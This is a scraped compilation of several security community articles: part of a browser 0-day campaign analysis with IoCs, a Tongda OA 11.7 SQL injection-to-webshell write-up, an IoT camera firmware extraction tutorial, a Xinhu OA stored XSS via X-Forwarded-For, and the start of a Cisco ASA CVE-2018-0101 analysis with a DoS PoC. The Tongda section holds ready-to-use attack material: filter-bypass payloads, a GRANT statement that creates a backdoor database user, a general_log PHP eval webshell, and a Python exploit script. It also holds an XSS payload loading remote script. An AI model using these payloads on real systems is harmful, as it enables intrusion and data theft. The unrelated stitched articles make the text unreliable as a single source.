2、脚本中有一些函数调用了浏览器的`BigInt`内置类，该类可以用来在JavaScript代码中执行64位运算（比如在64位环境中处理原生指针）。通常情况下，漏洞利用开发者会实现自己的函数，通过32位数值来完成该任务。然而在此次行动中，攻击者使用的是`BigInt`，由于该类由浏览器代码原生支持，因此运行效率应该更高。这里漏洞利用开发者并没有使用全部64
bit，只在部分bit上操作，这也是为什么攻击者要实现一些函数，用来处理高位/低位数值的原因所在。
图6. 处理64位数值的代码片段
3、有很多函数及变量并没有在实际代码中使用。这通常意味着这些函数及变量属于调试代码，在投入实际使用时没有被删除。
4、大部分代码使用了多个类，这些类与浏览器中存在漏洞的某个组件有关。由于该bug尚未被修复，这里我们并没有公布该漏洞组件的详细信息。
5、代码中还有一些大数组，用来表示shellcode代码及内嵌的PE映像。
为了遵循漏洞披露原则，这里我们提供的研究分析比较简单。浏览器的两个线程中缺少正确的同步机制，因此存在竞争条件bug，攻击者可以利用这一点，达到释放用重用（UAF）状态。这种状态非常危险，可能导致代码执行，而这次攻击者的确完成了该任务。
漏洞利用代码首先尝试触发UAF，（以指针形式获取）一些关键的64位地址信息。如果该步骤成功完成，攻击者可实现：1）如果成功获取地址，意味着漏洞利用代码正常工作；2）可以使用提取到的地址获取堆/栈的位置，绕过ASLR（地址空间布局随机化）机制；3）可以搜索该地址附近的其他一些有用指针，以便后续利用。
随后，利用代码尝试使用递归函数创建一大堆大型对象。该操作是为了获取特定的堆布局，确保漏洞利用能够成功完成。与此同时，代码尝试使用堆喷射技术，复用之前在UAF中被释放的同一个指针。攻击者可以通过这种技术制造混乱，（从JavaScript代码角度来）操作两个不同的对象，虽然这两个对象实际上位于相同的内存区域。
利用代码尝试执行各种操作来分配/释放内存，也使用了其他技术，最终攻击者成功实现了任意读/写原语。攻击者通过这种方式构造一个特定的对象，与`WebAssembly`及`FileReader`配合使用，以执行嵌入式shellcode
payload。
图7. 第一阶段shellcode
## 0x02 Payload解析
最终下载的payload为经过加密的二进制文件（`worst.jpg`），由shellcode负责解密。
图8. 经过加密的payload：`worst.jpg`
经过解密后，恶意软件模块以`updata.exe`形式保存到本地磁盘上并执行。为了实现本地驻留，恶意软件会在Windows Task
Scheduler中创建计划任务。
`installer` payload为RAR SFX归档文件，具体信息如下：
文件大小： 293,403
MD5： 8f3cd9299b2f241daf1f5057ba0b9054
SHA256： 35373d07c2e408838812ff210aa28d90e97e38f2d0132a86085b0d54256cc1cd
归档文件中包含两个文件：
两个文件对应的信息分别为：
文件名 iohelper.exe
MD5： 27e941683d09a7405a9e806cc7d156c9
SHA256： 8fb2558765cf648305493e1dfea7a2b26f4fc8f44ff72c95e9165a904a9a6a48
文件名： msdisp64.exe
MD5： f614909fbd57ece81d00b01958338ec2
SHA256： cafe8f704095b1f5e0a885f75b1b41a7395a1c62fd893ef44348f9702b3a0deb
这两个文件编译时间相同，都为“2019年10月8日
01:49:31”。主模块（`msdisp64.exe`）尝试通过硬编码的C2服务器列表下载下一阶段payload，下阶段payload位于C2服务器上，具体路径对应受害者的计算机名，因此攻击者知道哪些主机已被成功感染，会将对应的模块放置在C2服务器的特定目录中。
## 0x03 IoC
behindcorona[.]com
code.jquery.cdn.behindcorona[.]com
8f3cd9299b2f241daf1f5057ba0b9054
35373d07c2e408838812ff210aa28d90e97e38f2d0132a86085b0d54256cc1cd
27e941683d09a7405a9e806cc7d156c9
8fb2558765cf648305493e1dfea7a2b26f4fc8f44ff72c95e9165a904a9a6a48
f614909fbd57ece81d00b01958338ec2
cafe8f704095b1f5e0a885f75b1b41a7395a1c62fd893ef44348f9702b3a0deb
[email protected] | 社区文章 |
# 通达OA11.7 后台sql注入到rce漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
hvv期间爆了一个通达OA的漏洞，尝试分析一些这个漏洞的原因以及利用的姿势。
攻击队的大佬tql，0day一个接一个的爆。
膜师傅们~~~~
## 测试环境
* 通达OA11.7
* 通达oa代码解密工具 [下载链接](https://www.webshell.cc/?dl_id=19)
官网上下载的通达OA11.7的安装包，然后傻瓜式一键安装。
## 漏洞分析：
漏洞点在：general/hr/manage/query/delete_cascade.php文件下：
通过代码发现这里对传递的参数没有任何的过滤，是存在sql注入的。
这里是删除的功能，是一个盲注，所以尝试if(1,sleep(3),2)：
发现存在过滤：`sleep`
在代码中查找过滤的地方，最终在`/inc/conn.php`找到了过滤的代码：
if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {
$fail = true;
$error = _("注释代码");
}
else if (preg_match("/(^|[^a-z])union(\s+[a-z]*)*\s+select($|[^[a-z])/s", $clean) != 0) {
$fail = true;
$error = _("联合查询");
}
else if (preg_match("/(^|[^a-z])(sleep|benchmark|load_file|mid|ord|ascii|extractvalue|updatexml|exp|current_user)\s*\(/s", $clean, $matches) != 0) {
$fail = true;
$error = $matches[2];
}
else if (preg_match("/(^|[^a-z])into\s+outfile($|[^[a-z])/s", $clean) != 0) {
$fail = true;
$error = _("生成文件");
}
else if (preg_match("/.*update.+user.+set.+file_priv.*/s", $clean) != 0) {
$fail = true;
$error = "set file_priv";
}
else if (preg_match("/.*case.+when.+then.+end.*/s", $clean) != 0) {
$fail = true;
$error = "case when";
}
else if (preg_match("/.*set.+general_log.*/s", $clean) != 0) {
$fail = true;
$error = "general_log";
}
if ($fail) {
echo _("不安全的SQL语句：") . $error . "<br />";
echo td_htmlspecialchars($db_string);
exit();
}
这里发现过滤了一些关键字但是还是可以注入的
过滤了`sleep()`函数，我们可以通过`if`配合一些可以报错的函数一起使用，比如：`cot(0)、power(9999,9999)、`
payload:`?condition_cascade=select if(0,cot(0),2)`
`?condition_cascade=select if(1,cot(0),2)`
这样不同结果页面返回的内容不同，这样就可以进行注入了。
到这里。我们可以注入数据库里面的内容了，将`if(bool,1,cot(0))`。
这里bool可以替换为查询数据的语句：`substr(database(),1,1)='a'`就可以查询到数据了。
## getshell
能够查询数据之后如何getshell呢？通过`/inc/conn.php`代码可以看到，过滤了大多情况的getshell的方法，
我也尝试了一些方法，都已失败而告终。在网上看到了一个比较新颖的思路[参考链接](https://www.77169.net/html/267833.html)，因为通达OA，mysql用户是root用户，权限比较大，可以添加一个新的用户，让这个新的用户可以任意地址登陆。`grant
all privileges ON mysql.* TO 'abc123'@'%' IDENTIFIED BY
'abc123[@abc123](https://github.com/abc123 "@abc123")' WITH GRANT OPTION`
然后远程连接数据库。
然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限：
UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('abc123' AS Binary(6));
然后访问`http://xx.xx.xx.xx/general/hr/manage/query/delete_cascade.php?condition_cascade=flush%20privileges`
再访问`http://xx.xx.xx.xx/general/hr/manage/query/delete_cascade.php?condition_cascade=grant%20all%20privileges%20ON%20mysql.*%20TO%20%27abc123%27@%27%%27%20IDENTIFIED%20BY%20%27abc123[@abc](https://github.com/abc
"@abc")%27%20WITH%20GRANT%20OPTION`
就可以远程连接mysql数据库了：
通过数据库写webshell方法有很多:
`select @[@basedir](https://github.com/basedir
"@basedir")`可以查询绝对路径：`C:\TDOA11.7\mysql5\`
那通达OA的web目录就是`C:/TDOA11.7/webroot`。
select @@basedir
set global general_log='on';
SET global general_log_file='c:/TDOA11.7/webroot/aaa.php';
SELECT '<?php @eval($_POST["cmd"]);?>';
其他方式getshell，也是可以。。
蚁剑进行连接：
就可以getshell了。
## POC
自己写了一个检测的poc，
import re
import requests
import argparse
import json
import base64
s = requests.session()
def login(url,username,password):
url_login = url +"/logincheck.php"
# UNAME=lijia&PASSWORD=&encode_type=1
passwd =base64.b64encode(password.encode())
data={
'UNAME':username,
'PASSWORD':passwd,
'encode_type':1
}
# print(data)
# exit()
res = s.post(url=url_login,data=data,verify=False)
set_cookie = res.headers['Set-Cookie']
if "正在进入OA系统" in res.text:
print("[+]login success!!")
else:
print("[-]login error!!")
exit();
# print(cookie[0])
def getshell(url,username,password):
login(url,username,password)
shell_url = url +"/general/hr/manage/query/delete_cascade.php"
add_mysqluser = "?condition_cascade=grant all privileges ON mysql.* TO 'abc123'@'%' IDENTIFIED BY 'abc123@abc123' WITH GRANT OPTION"
add_mysqluser_url = shell_url+add_mysqluser
res = s.get(add_mysqluser_url)
# print(res.text)
if '信息删除成功！' in res.text:
print("[+]Get sql")
print("[+]You can connect mysql abc123:abc123@abc123")
print("[+]Goodlucky!")
else:
print("[-]erroe!")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"-username",
"--targeusername",
type=str,
help="Target TongDa OA username. e.g: -username admin")
parser.add_argument(
"-password",
"--targepassword",
type=str,
help="Target TongDa OA username. e.g: -password 123456")
parser.add_argument(
"-url",
"--targeturl",
type=str,
help="Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1"
)
args = parser.parse_args()
url = args.targeturl
if 'http://' not in url:
url = 'http://' + url
else:
url=url
username= args.targeusername
password=args.targepassword
getshell(url,username,password)
利用方式：
`python3 tdoa11.7.py -url 漏洞url -username 用户名 -password 用户密码`
## 总结
这个OA的漏洞可以通过非管理员的账号进行sql注入到getshell。正所谓只要我知道的用户名够多，就一定存在弱口令。
就可以有弱口令->sql注入->getshell的组合拳可以利用。
这次通达OA的漏洞比较简单，自己尝试写了POC，虽然写代码的能力很差，但是多多少少还是有所收获的。
## 参考连接
<https://www.77169.net/html/267833.html> | 社区文章 |
**Author: fenix@Knownsec 404 Team**
**Date: November 27, 2017**
**Chinese Version:<https://paper.seebug.org/649/>**
### 0x00 Introduction
According to [Gartner](http://www.gartner.com/newsroom/id/3598917 "Gartner"),
an IT research and consulting firm, the number of IoT devices worldwide will
reach 8.4 billion in 2017, up 31% from 6.4 billion in 2016, while the global
population is 7.5 billion. The number of IoT devices will reach 20.4 billion
in 2020.
In response, the security issues of IoT are also increasingly prominent,
especially for common devices such as webcams and routers. The rapid growth in
the number of IoT devices is in sharp contrast to the serious lag in their
security. At the same time, it also provides new opportunity for malicious
attackers and security researchers to play the game of good versus evil on a
new battlefield.
This is a detailed introductory level tutorial for many enthusiasts who want
to get started with smart device security.
### 0x01 Overview
#### 1.0 Firmware and Its Common Access Methods
Firmware is a program written in `EROM` (Erasable Read Only Memory) or
`EEPROM`(Electrically Erasable Programmable Read Only Memory). In particular,
for most routers and cameras on the market, the firmware is the program in the
25 series Flash chip on the board, which houses the embedded operating system,
usually a Linux system.
Obtaining the firmware is the premise of analyzing and mining firmware
vulnerabilities. This paper will take the camera as an example to show how to
dump firmware in Flash chips and some bright ideas after obtaining the
firmware.
In general, there are several ways to obtain firmware.
1. **From the official:** The firmware of devices such as routers and cameras can usually be downloaded directly from the official, while it doesn’t support firmware download for most other IoT devices. The official generally only provide the latest firmware, not conducive to the study of historical firmware vulnerabilities.
2. **Grab packet to analyze the download address of firmware:** When the phone controller (APP) can upgrade the firmware, you can try this method to obtain the firmware. If the firmware is upgraded in the form of patches, the complete firmware cannot be obtained, and data encryption may be difficult to crack.
3. **Obtain via the serial port:** Get shell from the debug serial port, then package and upload system files.
4. **Read the firmware memory chip directly:** It is the simplest and most direct way to read the firmware memory chip directly through the programmer. If there is line interference, which can only be read offline, the equipment may be damaged during welding.
This paper deals with the latter two ways to extract firmware.
### 0x02 About the Concepts
Before starting the formal firmware extraction, we need to grasp several basic
concepts.
#### The Serial Port and UART
The serial port is mainly used for serial bit-by-bit data transmission.
The serial port asynchronously transmits and receives bytes in bits following
the UART protocol. Normally, three pairs of pins need to be connected, and the
connection mode is as follows:
(Image via Internet)
In the figure above, TX is the receiving end, RX is the transmission end, and
GND is the ground end. Connect the debug serial port of the board and the USB
to TTL serial cable as shown. After setting important parameters such as baud
rate, data bit, stop bit and parity check, the two sides can send ASCII
characters normally, so as to carry out asynchronous serial communication.
#### 2.1 u-boot
U-boot is a kind of boot program commonly used in embedded system. It is
executed before the operating system runs, to initialize the hardware and
software environment, and finally to boot the system kernel.
### 0x03 Enter the System through the Debug Serial Port
#### 3.0 Research Objects
In this section, we will start with a wireless surveillance camera and explain
how to get the Shell of the system through the debug serial port.
Detect the open port and service of the camera by using `nmap`, and the result
is as follows:
Host is up (0.0031s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
100/tcp open http Mongoose httpd
554/tcp open rtsp
1935/tcp open tcpwrapped
100100/tcp open soap gSOAP 2.8
[Mongoose](https://github.com/cesanta/mongoose "Mongoose") monitoring on port
100 is an embedded Web server, and
[gSOAP](https://www.genivia.com/products.html "gSOAP") is a cross-platform
tool for developing Web Service servers and clients. [RTSP (Real Time
Streaming
Protocol)](https://baike.baidu.com/item/RTSP/1276768?fromtitle=RTSP%E5%8D%8F%E8%AE%AE&fromid=3361755
"RTSP \(Real Time Streaming Protocol\)") is an application-layer protocol in
TCP/IP protocol system, which defines how one-to-many applications can
effectively transmit multimedia data over IP networks.
The packet analysis of services can then be done by using tools like `Fidder`,
`wireshark`, and others, but that's not the focus of this paper. Next we will
analyze from the perspective of hardware.
#### 3.1 Tools
* USB to TTL serial cable
* soldering iron
* screwdrivers
* …
#### 3.2 Where is UART
Manufacturers of routers, cameras and other equipment usually leave debug
serial ports on the devices to facilitate development or after-sales
debugging. In order to communicate with the equipment, we first need to find
these "backdoors". Disassemble camera apart with tools, and identify the
purpose of the chip according to the model on the motherboard. As shown in the
figure, we found the location of the processor and memory chip. The processor
is [GK7102](https://www.unifore.net/company-highlights/goke-hd-ip-camera-solution-gk7101-gk7102.html "GK7102"), and the memory chip is IC25LP128. There
are three free interfaces on the motherboard in the right picture. After
testing, the lower left one is the 4-pin debug serial port (baud rate 115200),
the first pin of the serial port is `Tx`, the third pin is `Rx`, respectively
connected with the `Rx` and `Tx` of `USB-to-TTL`. The line and the motherboard
are powered by the same Hub, and the `VCC` is not much different, and no `GND`
is connected.
As for how to find the debug serial port on the device, you can refer to
[reverse-engineer-serial ports](http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/ "reverse-engineer-serial ports"), no more details
here.
`minicom` is a serial port tool on the Linux platform. Type the following
command at the console to communicate with the serial port.
# Use the following Bash code:
minicom -D /dev/ttyUSB0
You can use the following way in case of the permissions issues in this step.
sudo chmod 777 /dev/ttyUSB0
#### 3.3 Startup Process of Embedded System
The laptop is properly connected to the motherboard serial port. After power
supply, the following debugging information during system startup can be seen
in the terminal.
The partition information of Flash chip is as follows:
After booting up, the system starts the following services, which may be the
main process of the camera service.
After the system is started, the Shell login interface is provided.
By observing the startup process, we have gained a lot of useful information
and have a general understanding of how `u-boot` boots the system.
Finally, we tried to use weak passwords to get the Shell of the system.
Unfortunately, after many attempts, we failed.
#### 3.4 Login Bypass
If you've ever used Linux, maybe you've experienced the awkwardness of
forgetting your system password and not being able to access it. Our solution
is very simple and direct: go directly to the grub boot to change the
password. Therefore, if the device is within reach, there is almost no problem
of access to the system.
On a camera running an embedded Linux operating system, there exists `u-boot`
as well, similar to `grub`.
Restart the device and enter the `u-boot` command line by typing the
combination keys.
There are many built-in commands for us to use in the `u-boot` command line.
Type “h” to view the help.
Print the parameter information passed to the kernel by `u-boot` via
`printenv`.
The contents of some of the parameters show how `u-boot` transfers control to
the kernel.
* Firstly, set the startup parameters for the kernel.
`console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype}
init=linuxrc`
* Load the kernel from Flash into memory.
* Jump to the starting address of the kernel in memory and execute.
Let's focus on the `init` field of the startup parameter.
The `init` field sets the name of the initialization process executed by the
kernel, such as `linuxrc` above, which is a piece of program code located in
the root directory of the file system, responsible for subsequent system
initialization.
Is it possible to directly modify `init=/bin/sh` to access the root file
system when the system is not initialized? Modify the `init` field in `sfboot`
as `/bin/sh` in the `u-boot` command line and save as follows (make a backup
of parameters before modification):
console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=/bin/sh
Restarting the device, as we suspected, modifying the initial process of
kernel execution, we successfully obtained a `shell`.
Since there is no `linuxrc` initialization process, the Shell functionality is
greatly limited. Edit the `/etc/shadow` file under the shell, erase or crack
the root user's password, restart to the `u-boot` command line interface,
modify the original boot parameters and save, restart to the shell login
interface again, and you can get a shell with complete functions.
#### 3.5 Package and Upload Firmware
Based on the previous steps, We can now log into a fully functional `Shell`
and use `tar` and `tftp` commands to pack and upload the root file system to
the `tftp` server.
#### 3.6 Other Tricks
The relevant commands are provided in `u-boot` to operate the Flash chip, so
the firmware can also be extracted as follows (the way of cat memory is just
an idea, speed is a great limitation).
### 0x04 Simply Reading and Writing Firmware Storage Chip Unlock New Features
In this section, we take another camera based on gSOAP protocol as an example
(firmware memory chip MX25LP128) to show how to use a programmer to read and
write Flash chips to open the Telnet service of the camera.
#### 4.0 Tools
* 25 Series Chip Programmer
* soldering iron
* …
#### 4.1 Reading Firmware
`MX25L128` is a 25 series Flash chip that can read directly online. Clamp the
Flash chip and connect the programmer to read the firmware inside.
Click `SmartID`, and then click on `Read` after the chip model is successfully
identified, and save it as a file. As shown below, the reading process is very
smooth.
#### 4.2 Firmware Decompression
Binwalk is a firmware analysis tool developed by @devttys0. It is highly
recommended to use the
[tutorial](https://github.com/devttys0/binwalk/blob/master/INSTALL.md
"tutorial") installation on Github. Installing `apt-get` directly will lack
many dependencies.
View the firmware structure using `binwalk`.
After compiling (make), the kernel generates two files, one is Image and the
other one is zImage. Image is the kernel image file and the zImage is an image
compression file of the kernel.
As for uImage, it is an image file dedicated to u-boot. It adds a 64-byte
header in front of zImage to indicate the kernel version, loading location,
generation time, size and other information. After `0x40`, there is no
difference with zImage.
The firmware uses the `squashfs` file system, a set of GPL open source read-only compressed file systems for the Linux kernel. Therefore, the firmware
cannot be modified when the device is running normally. In the previous
section, the reason why we entered the system through the serial port by
modifying the initial process of the kernel is that the system has not been
initialized and we gained read and write rights to the file system.
In the latter part of the firmware, there is an area that can be written. A
`JFFS2` file system, which is a very widely used read/write file system on
flash memory. Modified configuration information and other data during device
operation will be written to this file system.
The `squashfs` file system starts at `0x3800000` and is `6963644` bytes in
size. Extract the file system with the `dd` command and decompress it with the
`unsquashfs` command.
#### 4.3 Unlock the New Function
Be familiar with file system structure and existing commands.
Obviously, the firmware `Shell` is based on `busybox`. From the result of
`file` instruction, we can judge that the camera is a 32-bit ARM instruction
architecture.
This `busybox` is statically linked and does not rely on other library files.
You can use `qemu-arm` directly to simulate the running.
Of course, we can also build a `qemu` virtual machine.
Download [qemu virtual machine image
file](https://people.debian.org/~aurel32/qemu/armel/ "qemu virtual machine
image file") and launch the virtual machine as follows.
Now we can determine that the `telnetd` command exists on the target file
system. Add the following content at the end of the `boot.sh` file in the root
directory to enable the device to automatically start the Telnet service on
startup.
#### 4.4 Reseal
Having finished the simple modification of the file system, so how do we
repackage the firmware so that it can flash back to the device?
Start with the firmware structure again as follows:
What we customize is only the middle part of the file system, which is the
`0x3100000 - 0xB00000`. At the same time, the length of this segment is not
equal to the size of the `squashfs` file system, which is `6963644` bytes.
There is a 0xff padding portion from the end of the squashfs file system to
the beginning of the next segment.
As can be seen from the uImage header, the image size is `2217456`, while the
squashfs file system starts at `3670016`. There is no `CRC` check for the
`squashfs` file system.
Judging from the above conclusions, we only need to repackage the modified
file system into firmware without changing the original firmware structure.
Connect each segment with `cat`.
#### 4.5 Brush Back
We've finished the repackage. Use the programmer to brush the modified
firmware offline into the firmware memory chip.
#### 4.6 Outcome
As you can see, we successfully turned on the telnet service for this camera.
### 0x05 Conclusion
A good understanding of the hardware and software of smart devices is the
basis for exploring the device vulnerabilities. This paper is a summary of
some experience in the research process of camera and other IoT devices, and I
wish it’s helpful.
### About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
## 0x00 前言：
这个漏洞去年爆出很久了，出自掌控安全的讲师风哥之手，但因为V1.9一直没修复，且一直没人发文章，因为个人觉得这是一个不错的思路，就来简单的模糊复现一下
## 0x01 漏洞名称
影响版本: 信呼v1.9.0~1.9.1存在存储型XSS
产品首页: <http://www.rockoa.com/>
软件链接: <https://github.com/rainrocka/xinhu>
## 0x02 漏洞复现过程
首先搭建好之后跳转到一个登录页面
输入刚开始安装时设置的管理员 **usname paword**
然后点击登陆，然后抓包查看传参，然后去寻找登陆模块的源代码，根据传参的追踪，我们很快就能追踪到这个文件
`webmain\model\loginMode.php`
然后我在这个登陆文件`loginMode.php`的第209行到215行发现了一些东西
这里出现了一个`addlogs`函数，看名字应该是添加日志，在`logModel.php`中发现了他的定义
这里是获取了信息然后给数组赋值，然后insert函数调用 在`mysql.php`
很明显这里是插入语句的模板，这里就应该是登陆失败后，日志会记录下来前面看的到那些数组赋值的信息。
通过查看Mysql日志发现，登录失败他会记录我们的Ip，那么就简单了，我们是否可以尝试使用`X-Forwarded-For`来改变他的ip，然后我们使用
`X-Forwarded-For:127.0.0.1`
X-F-F成功更换后台Ip
打个xss
后台成功弹框
打开XSS平台
打一遍发现没用，获取不到cookie，F12看看咋回事
果然是xss代码出了问题
构造xss代码，极限代码-->多加//防止被转入之前-->`<sCRiPt/SrC=////xs.sb/Jwdu>` | 社区文章 |
# CVE-2018-0101 Cisco ASA 拒绝服务&远程代码执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00漏洞背景
2018年1月29日，思科公开了旗下ASA防火墙设备的拒绝服务&远程代码执行漏洞（CVE-2018-0101），并在2月期间多次对公开信息进行修改和更新。在思科更新漏洞相关信息期间，该漏洞也有更多信息被披露出来，其中包括漏洞发现者——NCC
Group研究人员Cedric Halbronn关于漏洞细节的更多信息和安全研究者根据相关资料完成的PoC代码（拒绝服务部分）。
从已经公开的资料来看，该漏洞影响多个版本的思科安全产品和软件。同时，受影响的系统需在网络设备端口上开启SSL服务或IKEv2
VPN服务。如果该漏洞被成功利用，将导致远程设备内存破坏，造成设备重启或拒绝服务，甚至允许攻击者在无需用户验证的情况下实现远程代码执行，进而远程控制设备并产生进一步的攻击行为。本文出于探究漏洞技术原理，了解此类网络设备漏洞分析调试方法的目的，从ASA设备解析XML数据包的过程入手，分析该漏洞产生的原因，并将部分技术细节予以呈现。
## 0x01 漏洞简要介绍
#### 1. 漏洞原理
CVE-2018-0101漏洞存在于思科ASA设备的XML解析器处理XML数据包时的分配和释放内存的过程当中，是一个Double
Free漏洞，攻击者可以通过发送精心构造的SSL 协议的HTTP
XML数据包来完成对受漏洞影响系统的攻击。当漏洞触发时，可导致系统崩溃重载，ASA设备停止接受VPN验证请求，或允许攻击者远程执行代码，获得对系统的控制。
#### 2. 漏洞影响范围和脆弱性配置信息
思科官方在最初的公开信息中声称：多个版本的ASA和下一代防火墙平台受漏洞影响，且受影响设备需要配置启用WebVPN功能，并允许用户访问。由于发现了新的攻击向量，思科官方在2月份数次更新了安全公告，并在更新中将开通SSL
VPN的说法引申为“Secure Socket Layer (SSL) services or IKEv2 Remote Access VPN
services”。更新后的受漏洞影响设备和软件列表如下所示：
Ø 3000 Series Industrial Security Appliance (ISA)
Ø ASA 5500 Series Adaptive Security Appliances
Ø ASA 5500-X Series Next-Generation Firewalls
Ø ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600
Series Routers
Ø ASA 1000V Cloud Firewall
Ø Adaptive Security Virtual Appliance (ASAv)
Ø Firepower 2100 Series Security Appliance
Ø Firepower 4110 Security Appliance
Ø Firepower 4120 Security Appliance
Ø Firepower 4140 Security Appliance
Ø Firepower 4150 Security Appliance
Ø Firepower 9300 ASA Security Module
Ø Firepower Threat Defense Software (FTD)
Ø FTD Virtual (FTDv)
其中，Cisco ASA中易受攻击的功能列表和配置信息如下所示：
在上图的信息中：
1. ASDM仅受http 命令配置列表范围的IP攻击影响；
2. Cisco Security Manager仅受http 命令配置列表范围的IP攻击影响；
3. MDM 9.3.1以上版本受上述配置影响；
4. 其他API 9.3.2以上版本受上述配置，且仅受http 命令配置列表范围的IP攻击影响；；
5. SAML SSO 9.6以上版本受上述配置影响。
FTD软件中易受攻击的功能和配置信息如下所示：
我们可以看到，上图中的配置信息，均与Web VPN的配置有关。
#### 3. 修复方案
由于在1月29日发布报告后发现了新的攻击向量，所以Cisco官方在2月份的后续更新中，对固件升级的版本信息做了变更，细节参见Cisco官方关于CVE-2018-0101的说明。版本升级建议如下：
**Cisco ASA** **列表：**
**Cisco FTD** **列表：**
****
## 0x02 调试环境准备
#### 1. 调试环境信息
如果没有ASA设备，需要通过搭建模拟调试环境并修改固件来完成调试的前期准备，具体思路就是GNS3 + Qemu +
修改后的系统固件；对于有真机作为调试环境的情况而言，则可直接修改固件，使之进入调试模式，并将其刷入ASA设备，然后在终端设备启用gdb，并通过串口连接远程gdbserver，即可完成调试前的准备工作。在上述两种方案中，本文使用Cisco
ASA 5505 series + ASA924-k8.bin + Ubuntu 16.04-3 amd64作为调试环境，完成了漏洞的调试过程。
以下是调试设备软、硬件信息：
设备名称
|
ASA-5505
---|---
硬件信息
|
AMD Geode (x86)
Marvell 88E6095 Gigabit Ethernet Switch
软件信息
|
ASA924-k8.bin
Linux 2.6.29.6
lina 9.2.4
#### 2. WebVPN配置
Cisco SSL VPN有三种模式：Clientless SSL VPN、Thin-Client VPN 和SSL VPN
Client。经过实际测试，Clientless SSL VPN 无法正常接收POC脚本发送的数据包，所以需要在ASA设备安装SVC（SSL VPN
Client），并根据客户端的类型调整POC代码的‘X-AnyConnect-Platform’字段，使之与SVC类型相适配。另外，如果WebVPN加密套件选择不当，也会因为加密算法强度不够而导致某些高版本操作系统无法成功连接WebVPN。
#### 3. 固件修改和刷写
关于Cisco ASA设备的启动流程，我们在《揭开思科ASA防火墙网络军火的面纱
（上）》一文中已进行过相关梳理。在ASA的linux系统中，lina进程是由lina_monitor以子进程的方式启动并进行管控的，启动流程通过rcS脚本的参数控制。所以，使ASA进入调试模式的大致思路即为通过修改固件改变lina的启动流程。需要注意的是，固件修改完毕后，如果没有cf卡刷写固件，则需要在上传固件时绕过校验。
## 0x03 漏洞分析
#### 1. POC代码分析
根据Cedric Halbronn对漏洞信息的说明，拒绝服务部分的POC代码已经公开。该代码由python编写，核心代码如下：
headers = {}
headers['User-Agent'] = 'Open AnyConnect VPN Agent v7.08-265-gae481214-dirty'
headers['Content-Type'] = 'application/x-www-form-urlencoded'
headers['X-Aggregate-Auth'] = '1'
headers['X-Transcend-Version'] = '1'
headers['Accept-Encoding'] = 'identity'
headers['Accept'] = '*/*'
headers['X-AnyConnect-Platform'] = 'linux-64'
headers['X-Support-HTTP-Auth'] = 'false'
headers['X-Pad'] = '0000000000000000000000000000000000000000'
xml = """<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="a" type="a" aggregate-auth-version="a">
<host-scan-reply>A</host-scan-reply> #方便调试字符串改为flagflag
</config-auth>
"""
r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False, allow_redirects=False)
这段代码的功能就是通过构造WebVPN请求的头部和特定格式的数据，向目标连续发送post请求，并使目标WebVPN拒绝服务。其中，XML格式数据中<host-scan-reply>标签的内容即为漏洞触发时内存块中保存的内容。
#### 2. POC代码测试
连续两次运行POC脚本代码，第一次发送成功，http特征码200。第二次发送同样的数据包时，ASA崩溃并重启。系统反馈的内存崩溃的信息如下所示：
#### 3. 漏洞代码静态分析
